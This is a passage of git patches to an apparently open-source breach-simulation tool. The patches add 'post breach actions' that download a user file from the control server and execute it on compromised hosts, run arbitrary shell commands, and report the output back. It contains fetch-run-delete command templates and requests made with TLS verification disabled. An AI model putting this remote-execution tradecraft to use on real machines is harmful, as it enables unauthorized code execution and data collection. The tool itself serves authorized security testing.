@@ -179,15 +179,11 @@ class AppComponent extends AuthComponent { ()}/> {this.renderRoute('/', , true)} - {this.renderRoute('/configure', )} + {this.renderRoute('/configure', )} {this.renderRoute('/run-monkey', )} {this.renderRoute('/infection/map', )} {this.renderRoute('/infection/telemetry', )} - {this.renderRoute('/start-over', )} + {this.renderRoute('/start-over', )} {this.renderRoute('/report', )} {this.renderRoute('/license', )} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index b74558990..bc1c6739e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -117,10 +117,14 @@ class ConfigurePageComponent extends AuthComponent { removePBAfiles(){ // We need to clean files from widget, local state and configuration (to sync with bac end) - if (this.hasOwnProperty('PBAlinuxPond')){ + if (this.hasOwnProperty('PBAlinuxPond') && this.PBAwindowsPond !== null){ this.PBAlinuxPond.removeFile(); this.PBAwindowsPond.removeFile(); } + let request_options = {method: 'DELETE', + headers: {'Content-Type': 'text/plain'}}; + this.authFetch('/api/fileUpload/PBAlinux', request_options); + this.authFetch('/api/fileUpload/PBAwindows', request_options); this.setState({PBAlinuxFile: []}); this.setState({PBAwinFile: []}); } @@ -188,37 +192,21 @@ class ConfigurePageComponent extends AuthComponent { }) }} ref={ref => this.PBAlinuxPond = ref} - onload={this.props.setRemovePBAfiles(false)} />) - }; getWinPBAfile(){ - if (this.props.removePBAfiles){ - // If env was reset we need to remove files in react state - /*if (this.hasOwnProperty('PBAwinFile')){ - this.setState({PBAwinFile: ''}) - }*/ - } else if (this.state.PBAwinFile.length !== 0){ - console.log("Getting from local state") + if (this.state.PBAwinFile.length !== 0){ return ConfigurePageComponent.getPBAfile(this.state.PBAwinFile[0], true) - } else { - console.log("Getting from config") + } else if (this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info.name){ return ConfigurePageComponent.getPBAfile(this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info) } } getLinuxPBAfile(){ - if (this.props.removePBAfiles) { - // If env was reset we need to remove files in react state - /*if (this.hasOwnProperty('PBAlinuxFile')){ - this.setState({PBAlinuxFile: ''}) - }*/ - } else if (this.state.PBAlinuxFile.length !== 0){ - console.log("Getting from local state") + if (this.state.PBAlinuxFile.length !== 0){ return ConfigurePageComponent.getPBAfile(this.state.PBAlinuxFile[0], true) - } else { - console.log("Getting from config") + } else if (this.state.configuration.monkey.behaviour.custom_post_breach.linux_file_info.name) { return ConfigurePageComponent.getPBAfile(this.state.configuration.monkey.behaviour.custom_post_breach.linux_file_info) } } @@ -242,22 +230,28 @@ class ConfigurePageComponent extends AuthComponent { behaviour: { custom_post_breach: { linux: { - "ui:widget": "textarea" + "ui:widget": "textarea", + "ui:emptyValue": "" }, linux_file: { "ui:widget": this.PBAlinux }, windows: { - "ui:widget": "textarea" + "ui:widget": "textarea", + "ui:emptyValue": "" }, windows_file: { "ui:widget": this.PBAwindows }, linux_file_info: { - classNames: "linux-pba-file-info" + classNames: "linux-pba-file-info", + name:{ "ui:emptyValue": ""}, + size:{ "ui:emptyValue": "0"} }, windows_file_info: { - classNames: "windows-pba-file-info" + classNames: "windows-pba-file-info", + name:{ "ui:emptyValue": ""}, + size:{ "ui:emptyValue": "0"} } } } @@ -290,7 +284,8 @@ class ConfigurePageComponent extends AuthComponent { uiSchema={uiSchema} formData={this.state.configuration[this.state.selectedSection]} onSubmit={this.onSubmit} - onChange={this.onChange} > + onChange={this.onChange} + noValidate={true}>
    { this.state.allMonkeysAreDead ? '' : diff --git a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js index eb4b5ae91..c44a5a72f 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js @@ -108,7 +108,6 @@ class StartOverPageComponent extends AuthComponent { this.setState({ cleaned: true }); - this.props.setRemovePBAfiles(true) } }); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index 105978429..55f556251 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -9,11 +9,22 @@ let renderIpAddresses = function (val) { return
    {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
    ; }; -let renderPostBreach = function (val) { - return
    {val.map(x =>
    Name: {x.name}
    Command: {x.command}
    Output: {x.output}
    )}
    ; +let renderPostBreach = function (machine, pbaList) { + if (pbaList.length === 0){ + return + } else { + return
    Machine: {machine.label}
    + {pbaList.map(x =>
    Name: {x.name}
    + Command: {x.command}
    + Output: {x.output}
    )} +
    ; + } }; let renderMachine = function (val) { + if (val.pba_results.length === 0){ + return + } return
    {val.label} {renderIpAddresses(val)}
    }; @@ -21,8 +32,7 @@ const columns = [ { Header: 'Post breach actions', columns: [ - {Header: 'Machine', id: 'machines', accessor: x => renderMachine(x)}, - {Header: 'Post breach actions:', id: 'post_breach_actions', accessor: x => renderPostBreach(x.post_breach_actions)} + {id: 'post_breach_actions', accessor: x => renderPostBreach(x, x.pba_results)} ] } ]; From f35340e7ae65be74812a27c70fca437ca2ac4769 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 4 Mar 2019 20:20:41 +0200 Subject: [PATCH 179/201] Cosmetic changes and small refactors --- monkey/infection_monkey/example.conf | 8 ++++---- monkey/infection_monkey/monkey.py | 4 ++++ monkey/monkey_island/cc/app.py | 2 +- .../cc/resources/{file_upload.py => pba_file_upload.py} | 1 - monkey/monkey_island/cc/services/config.py | 6 ++++-- monkey/monkey_island/cc/services/report.py | 4 ++-- .../cc/ui/src/components/pages/ReportPage.js | 2 +- .../cc/ui/src/components/report-components/PostBreach.js | 7 ------- 8 files changed, 16 insertions(+), 18 deletions(-) rename monkey/monkey_island/cc/resources/{file_upload.py => pba_file_upload.py} (98%) diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 0e2fc79a9..760ed1139 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -100,9 +100,9 @@ "post_breach_actions" : [], "custom_post_breach" : { "linux": "", "windows": "", - "linux_file": "", - "windows_file": "", - "windows_file_info": {"name": "", "size": "0" }, - "linux_file_info": {"name": "", "size":"0"} + "linux_file": None, + "windows_file": None, + "windows_file_info": None, + "linux_file_info": None } } diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 039052ad0..e80e15396 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -113,6 +113,10 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) + for action_class in WormConfiguration.post_breach_actions: + action = action_class() + action.act() + PostBreach().execute() if 0 == WormConfiguration.depth: diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 91cf19b39..d43930206 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -29,7 +29,7 @@ from cc.resources.telemetry import Telemetry from cc.resources.telemetry_feed import TelemetryFeed from cc.resources.pba_file_download import PBAFileDownload from cc.services.config import ConfigService -from cc.resources.file_upload import FileUpload +from cc.resources.pba_file_upload import FileUpload __author__ = 'Barak' diff --git a/monkey/monkey_island/cc/resources/file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py similarity index 98% rename from monkey/monkey_island/cc/resources/file_upload.py rename to monkey/monkey_island/cc/resources/pba_file_upload.py index b8fcf9a90..29f5271f2 100644 --- a/monkey/monkey_island/cc/resources/file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -4,7 +4,6 @@ from cc.services.config import ConfigService, WINDOWS_PBA_INFO, LINUX_PBA_INFO import os from werkzeug.utils import secure_filename import logging -from cc.database import mongo import copy LOG = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 61d081867..fbcf4d7a0 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -45,6 +45,7 @@ WINDOWS_PBA_INFO.append('windows_file_info') LINUX_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) LINUX_PBA_INFO.append('linux_file_info') + class ConfigService: default_config = None @@ -157,7 +158,7 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): - # Island file upload on file_upload endpoint and sets correct config there + # Island file upload happens on pba_file_upload endpoint and config is set there ConfigService.keep_PBA_files(config_json) if should_encrypt: try: @@ -173,7 +174,7 @@ class ConfigService: def keep_PBA_files(config_json): """ file_upload endpoint handles file upload and sets config asynchronously. - This brings file info in config up to date. + This saves file info from being overridden. """ if ConfigService.get_config(): linux_info = ConfigService.get_config_value(LINUX_PBA_INFO) @@ -250,6 +251,7 @@ class ConfigService: @staticmethod def r_get_properties(schema): + """ Recursively gets all nested properties in schema""" if "default" in schema: return schema["default"] if "properties" in schema: diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 71e443716..ed00b2fa0 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -132,7 +132,8 @@ class ReportService: (NodeService.get_displayed_node_by_id(edge['from'], True) for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), 'services': node['services'], - 'domain_name': node['domain_name'] + 'domain_name': node['domain_name'], + 'pba_results': node['pba_results'] if 'pba_results' in node else 'None' }) logger.info('Scanned nodes generated for reporting') @@ -156,7 +157,6 @@ class ReportService: 'exploits': list(set( [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if exploit['result']])), - 'pba_results': monkey['pba_results'] if 'pba_results' in monkey else 'None' } for monkey in exploited] diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 643004bd3..938961c99 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -462,7 +462,7 @@ class ReportPageComponent extends AuthComponent {
    - +
    diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index 55f556251..b6e36f902 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -21,13 +21,6 @@ let renderPostBreach = function (machine, pbaList) { } }; -let renderMachine = function (val) { - if (val.pba_results.length === 0){ - return - } - return
    {val.label} {renderIpAddresses(val)}
    -}; - const columns = [ { Header: 'Post breach actions', From 308a1e354772907361c0e0d813f262f5d3344fe4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 5 Mar 2019 10:22:45 +0200 Subject: [PATCH 180/201] Added simple telemetry feed --- monkey/infection_monkey/post_breach/pba.py | 7 ++++++- monkey/infection_monkey/post_breach/post_breach_handler.py | 2 +- monkey/monkey_island/cc/resources/telemetry_feed.py | 4 +++- 3 files changed, 10 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index e8954fb87..32284acb4 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,6 +1,7 @@ import logging from infection_monkey.control import ControlClient import subprocess +import socket LOG = logging.getLogger(__name__) @@ -20,9 +21,13 @@ class PBA(object): command = self.windows_command exec_funct = self.execute_win if command: + hostname = socket.gethostname() ControlClient.send_telemetry('post_breach', {'command': command, 'output': exec_funct(), - 'name': self.name}) + 'name': self.name, + 'hostname': hostname, + 'ip': socket.gethostbyname(hostname) + }) def execute_linux(self): # Default linux PBA execution function. Override if additional functionality is needed diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index af494256a..c94ed1bc5 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -34,7 +34,7 @@ class PostBreach(object): def get_custom(config): custom_list = [] file_pba = FileExecution() - command_pba = PBA(name="Custom post breach action") + command_pba = PBA(name="Custom") post_breach = config.custom_post_breach linux_command = post_breach['linux'] windows_command = post_breach['windows'] diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 05ed841a6..8286bba00 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -82,7 +82,9 @@ class TelemetryFeed(flask_restful.Resource): @staticmethod def get_post_breach_telem_brief(telem): - pass + return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'], + telem['data']['hostname'], + telem['data']['ip']) TELEM_PROCESS_DICT = \ From dbf56b5531711ac005161b77cc11eb3e18478910 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 7 Mar 2019 12:44:15 +0200 Subject: [PATCH 181/201] Improved display of post breach actions --- .../report-components/PostBreach.js | 48 ++++++++++++------- 1 file changed, 32 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index b6e36f902..5790e26e5 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -2,30 +2,39 @@ import React from 'react'; import ReactTable from 'react-table' let renderArray = function(val) { - return
    {val.map(x =>
    {x}
    )}
    ; + return {val.map(x => {x})}; }; let renderIpAddresses = function (val) { - return
    {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
    ; + return {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} ; }; -let renderPostBreach = function (machine, pbaList) { - if (pbaList.length === 0){ - return - } else { - return
    Machine: {machine.label}
    - {pbaList.map(x =>
    Name: {x.name}
    - Command: {x.command}
    - Output: {x.output}
    )} -
    ; - } +let renderMachine = function (data) { + return
    {data.label} ( {renderIpAddresses(data)} )
    +}; + +const subColumns = [ + {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'white-space': 'unset' }}, + {id: 'pba_output', Header: "Output", accessor: x => x.output, style: { 'white-space': 'unset' }} +]; + +let renderDetails = function (data) { + let defaultPageSize = data.length > pageSize ? pageSize : data.length; + let showPagination = data.length > pageSize; + return }; const columns = [ { Header: 'Post breach actions', columns: [ - {id: 'post_breach_actions', accessor: x => renderPostBreach(x, x.pba_results)} + {id: 'pba_machine', Header:'Machine', accessor: x => renderMachine(x)} ] } ]; @@ -38,17 +47,24 @@ class PostBreachComponent extends React.Component { } render() { - let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; - let showPagination = this.props.data.length > pageSize; + let pbaMachines = this.props.data.filter(function(value, index, arr){ + return ( value.pba_results !== "None" && value.pba_results.length); + }); + let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length; + let showPagination = pbaMachines > pageSize; return (
    { + return renderDetails(row.original.pba_results); + }} />
    + ); } } From 92615b848d47967ed747ab93dedb1afe761cb3ea Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 13 Mar 2019 20:48:25 +0200 Subject: [PATCH 182/201] PBA config depth reduced to 3, unused methods removed, pba file size property removed, small refactors and comments. --- monkey/infection_monkey/config.py | 10 +- .../post_breach/file_execution.py | 64 ++++------- monkey/infection_monkey/post_breach/pba.py | 55 +++++---- .../post_breach/post_breach_handler.py | 51 +++++---- monkey/monkey_island/cc/resources/monkey.py | 3 - .../cc/resources/pba_file_download.py | 12 +- .../cc/resources/pba_file_upload.py | 64 ++++++----- monkey/monkey_island/cc/services/config.py | 90 ++++----------- .../cc/services/config_schema.py | 102 +++++++---------- monkey/monkey_island/cc/services/report.py | 2 +- .../ui/src/components/pages/ConfigurePage.js | 105 +++++++++--------- 11 files changed, 249 insertions(+), 309 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index a08e17fe5..40a715e62 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -271,12 +271,10 @@ class Configuration(object): extract_azure_creds = True post_breach_actions = [] - custom_post_breach = {"linux": "", - "windows": "", - "linux_file": None, - "windows_file": None, - "linux_file_info": None, - "windows_file_info": None} + custom_pba_linux_cmd = "" + custom_pba_windows_cmd = "" + custom_pba_linux_file_info = None + custom_pba_windows_file_info = None WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py index 4e0822339..f76748141 100644 --- a/monkey/infection_monkey/post_breach/file_execution.py +++ b/monkey/infection_monkey/post_breach/file_execution.py @@ -1,6 +1,5 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.control import ControlClient -import infection_monkey.monkeyfs as monkeyfs from infection_monkey.config import WormConfiguration import requests import shutil @@ -11,84 +10,65 @@ LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' -DOWNLOAD_CHUNK = 1024 +# Default commands for executing PBA file and then removing it DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" class FileExecution(PBA): + """ + Defines user's file execution post breach action. + """ def __init__(self, linux_command="", windows_command=""): - self.linux_file_info = WormConfiguration.custom_post_breach['linux_file_info'] - self.windows_file_info = WormConfiguration.custom_post_breach['windows_file_info'] + self.linux_filename = WormConfiguration.PBA_linux_filename + self.windows_filename = WormConfiguration.PBA_windows_filename super(FileExecution, self).__init__("File execution", linux_command, windows_command) def execute_linux(self): FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), - self.linux_file_info['name'], - self.linux_file_info['size']) + self.linux_filename) return super(FileExecution, self).execute_linux() def execute_win(self): FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), - self.windows_file_info['name'], - self.windows_file_info['size']) + self.windows_filename) return super(FileExecution, self).execute_win() def add_default_command(self, is_linux): + """ + Replaces current (likely empty) command with default file execution command. + :param is_linux: Boolean that indicates for which OS the command is being set. + """ if is_linux: file_path = os.path.join(FileExecution.get_dest_dir(WormConfiguration, is_linux=True), - self.linux_file_info["name"]) + self.linux_filename) self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path) else: file_path = os.path.join(FileExecution.get_dest_dir(WormConfiguration, is_linux=False), - self.windows_file_info["name"]) + self.windows_filename) self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path) @staticmethod - def download_PBA_file(dst_dir, filename, size): + def download_PBA_file(dst_dir, filename): """ Handles post breach action file download :param dst_dir: Destination directory :param filename: Filename - :param size: File size in bytes :return: True if successful, false otherwise """ - PBA_file_v_path = FileExecution.download_PBA_file_to_vfs(filename, size) + + PBA_file_contents = requests.get("https://%s/api/pba/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) try: - with monkeyfs.open(PBA_file_v_path, "rb") as downloaded_PBA_file: - with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: - shutil.copyfileobj(downloaded_PBA_file, written_PBA_file) + with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: + shutil.copyfileobj(PBA_file_contents, written_PBA_file) return True except IOError as e: LOG.error("Can not download post breach file to target machine, because %s" % e) return False - @staticmethod - def download_PBA_file_to_vfs(filename, size): - if not WormConfiguration.current_server: - return None - try: - dest_file = monkeyfs.virtual_path(filename) - if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): - return dest_file - else: - download = requests.get("https://%s/api/pba/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) - - with monkeyfs.open(dest_file, 'wb') as file_obj: - for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): - if chunk: - file_obj.write(chunk) - file_obj.flush() - if size == monkeyfs.getsize(dest_file): - return dest_file - - except Exception as exc: - LOG.warn("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) - @staticmethod def get_dest_dir(config, is_linux): """ diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 32284acb4..3482c96e8 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -5,21 +5,34 @@ import socket LOG = logging.getLogger(__name__) +__author__ = 'VakarisZ' + -# Post Breach Action container class PBA(object): + """ + Post breach action object. Can be extended to support more than command execution on target machine. + """ def __init__(self, name="unknown", linux_command="", windows_command=""): + """ + :param name: Name of post breach action. + :param linux_command: Command that will be executed on linux machine + :param windows_command: Command that will be executed on windows machine + """ self.linux_command = linux_command self.windows_command = windows_command self.name = name def run(self, is_linux): + """ + Runs post breach action command + :param is_linux: boolean that indicates on which os monkey is running + """ if is_linux: command = self.linux_command - exec_funct = self.execute_linux + exec_funct = self._execute_linux else: command = self.windows_command - exec_funct = self.execute_win + exec_funct = self._execute_win if command: hostname = socket.gethostname() ControlClient.send_telemetry('post_breach', {'command': command, @@ -27,22 +40,24 @@ class PBA(object): 'name': self.name, 'hostname': hostname, 'ip': socket.gethostbyname(hostname) - }) + }) - def execute_linux(self): - # Default linux PBA execution function. Override if additional functionality is needed - if self.linux_command: - try: - return subprocess.check_output(self.linux_command, stderr=subprocess.STDOUT, shell=True) - except subprocess.CalledProcessError as e: - # Return error output of the command - return e.output + def _execute_linux(self): + """ + Default linux PBA execution function. Override it if additional functionality is needed + """ + self._execute_default(self.linux_command) - def execute_win(self): - # Default windows PBA execution function. Override if additional functionality is needed - if self.windows_command: - try: - return subprocess.check_output(self.windows_command, stderr=subprocess.STDOUT, shell=True) - except subprocess.CalledProcessError as e: - # Return error output of the command - return e.output + def _execute_win(self): + """ + Default linux PBA execution function. Override it if additional functionality is needed + """ + self._execute_default(self.windows_command) + + @staticmethod + def _execute_default(command): + try: + return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) + except subprocess.CalledProcessError as e: + # Return error output of the command + return e.output diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index c94ed1bc5..e0f7135b1 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -3,19 +3,25 @@ import infection_monkey.config import platform from file_execution import FileExecution from pba import PBA +from infection_monkey.utils import is_windows_os LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' -# Class that handles post breach action execution class PostBreach(object): + """ + This class handles post breach actions execution + """ def __init__(self): - self.os_is_linux = False if platform.system() == 'Windows' else True + self.os_is_linux = not is_windows_os() self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration) def execute(self): + """ + Executes all post breach actions. + """ for pba in self.pba_list: pba.run(self.os_is_linux) LOG.info("Post breach actions executed") @@ -24,40 +30,45 @@ class PostBreach(object): def config_to_pba_list(config): """ Returns a list of PBA objects generated from config. + :param config: Monkey configuration + :return: A list of PBA objects. + TODO: Parse PBA's from PBA array (like 'add_user'). Also merge the whole outdated PBA structure into this one. """ pba_list = [] - pba_list.extend(PostBreach.get_custom(config)) + pba_list.extend(PostBreach.get_custom_PBA(config)) return pba_list @staticmethod - def get_custom(config): + def get_custom_PBA(config): + """ + Creates post breach actions depending on users input into 'custom post breach' config section + :param config: monkey's configuration + :return: List of PBA objects ([user's file execution PBA, user's command execution PBA]) + """ custom_list = [] file_pba = FileExecution() command_pba = PBA(name="Custom") - post_breach = config.custom_post_breach - linux_command = post_breach['linux'] - windows_command = post_breach['windows'] - # Add commands to linux pba - if post_breach['linux_file_info']['name']: - if linux_command: - file_pba.linux_command=linux_command + # Add linux commands to PBA's + if config['PBA_linux_filename']: + if config['custom_PBA_linux_cmd']: + file_pba.linux_command = config['custom_PBA_linux_cmd'] else: file_pba.add_default_command(is_linux=True) - elif linux_command: - command_pba.linux_command = linux_command + elif config['custom_PBA_linux_cmd']: + command_pba.linux_command = config['custom_PBA_linux_cmd'] - # Add commands to windows pba - if post_breach['windows_file_info']['name']: - if windows_command: - file_pba.windows_command=windows_command + # Add windows commands to PBA's + if config['PBA_windows_filename']: + if config['custom_PBA_windows_cmd']: + file_pba.windows_command = config['custom_PBA_windows_cmd'] else: file_pba.add_default_command(is_linux=False) - elif windows_command: - command_pba.windows_command = windows_command + elif config['custom_PBA_windows_cmd']: + command_pba.windows_command = config['custom_PBA_windows_cmd'] - # Add pba's to list + # Add PBA's to list if file_pba.linux_command or file_pba.windows_command: custom_list.append(file_pba) if command_pba.windows_command or command_pba.linux_command: diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 171456d42..80dd14604 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -25,9 +25,6 @@ class Monkey(flask_restful.Resource): if guid: monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config']) - # Don't send file contents to the monkey - monkey_json['config']['custom_post_breach']['linux_file'] = '' - monkey_json['config']['custom_post_breach']['windows_file'] = '' return monkey_json return {} diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py index 9c39d8f79..a991859c2 100644 --- a/monkey/monkey_island/cc/resources/pba_file_download.py +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -1,14 +1,14 @@ -import json -import logging -import os - import flask_restful -from flask import request, send_from_directory +from flask import send_from_directory +from cc.services.config import UPLOADS_DIR -UPLOADS_DIR = "./userUploads" +__author__ = 'VakarisZ' class PBAFileDownload(flask_restful.Resource): + """ + File download endpoint used by monkey to download user's PBA file + """ # Used by monkey. can't secure. def get(self, path): return send_from_directory(UPLOADS_DIR, path) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 29f5271f2..3b0a85b52 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -1,30 +1,46 @@ import flask_restful from flask import request, send_from_directory, Response -from cc.services.config import ConfigService, WINDOWS_PBA_INFO, LINUX_PBA_INFO +from cc.services.config import ConfigService, PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR +from cc.auth import jwt_required import os from werkzeug.utils import secure_filename import logging import copy +__author__ = 'VakarisZ' + LOG = logging.getLogger(__name__) -UPLOADS_DIR = "./monkey_island/cc/userUploads" GET_FILE_DIR = "./userUploads" -# What endpoints front end uses to identify which files to work with +# Front end uses these strings to identify which files to work with (linux of windows) LINUX_PBA_TYPE = 'PBAlinux' WINDOWS_PBA_TYPE = 'PBAwindows' class FileUpload(flask_restful.Resource): - + """ + File upload endpoint used to exchange files with filepond component on the front-end + """ + @jwt_required() def get(self, file_type): + """ + Sends file to filepond + :param file_type: Type indicates which file to send, linux or windows + :return: Returns file contents + """ # Verify that file_name is indeed a file from config if file_type == LINUX_PBA_TYPE: - filename = ConfigService.get_config_value(copy.deepcopy(LINUX_PBA_INFO))['name'] + filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH)) else: - filename = ConfigService.get_config_value(copy.deepcopy(WINDOWS_PBA_INFO))['name'] + filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH)) return send_from_directory(GET_FILE_DIR, filename) + @jwt_required() def post(self, file_type): + """ + Receives user's uploaded file from filepond + :param file_type: Type indicates which file was received, linux or windows + :return: Returns flask response object with uploaded file's filename + """ filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE)) response = Response( @@ -32,9 +48,15 @@ class FileUpload(flask_restful.Resource): status=200, mimetype='text/plain') return response + @jwt_required() def delete(self, file_type): - file_conf_path = LINUX_PBA_INFO if file_type == 'PBAlinux' else WINDOWS_PBA_INFO - filename = ConfigService.get_config_value(file_conf_path)['name'] + """ + Deletes file that has been deleted on the front end + :param file_type: Type indicates which file was deleted, linux of windows + :return: Empty response + """ + file_conf_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH + filename = ConfigService.get_config_value(file_conf_path) file_path = os.path.join(UPLOADS_DIR, filename) try: if os.path.exists(file_path): @@ -47,26 +69,14 @@ class FileUpload(flask_restful.Resource): @staticmethod def upload_pba_file(request_, is_linux=True): + """ + Uploads PBA file to island's file system + :param request_: Request object containing PBA file + :param is_linux: Boolean indicating if this file is for windows or for linux + :return: filename string + """ filename = secure_filename(request_.files['filepond'].filename) file_path = os.path.join(UPLOADS_DIR, filename) request_.files['filepond'].save(file_path) - file_size = os.path.getsize(file_path) - ConfigService.set_config_value((LINUX_PBA_INFO if is_linux else WINDOWS_PBA_INFO), - {'size': file_size, 'name': filename}) + ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename) return filename - - @staticmethod - def get_file_info_db_paths(is_linux=True): - """ - Gets PBA file size and name parameter config paths for linux and windows - :param is_linux: determines whether to get windows or linux file params - :return: returns tuple of filename and file size paths in config - """ - if is_linux: - 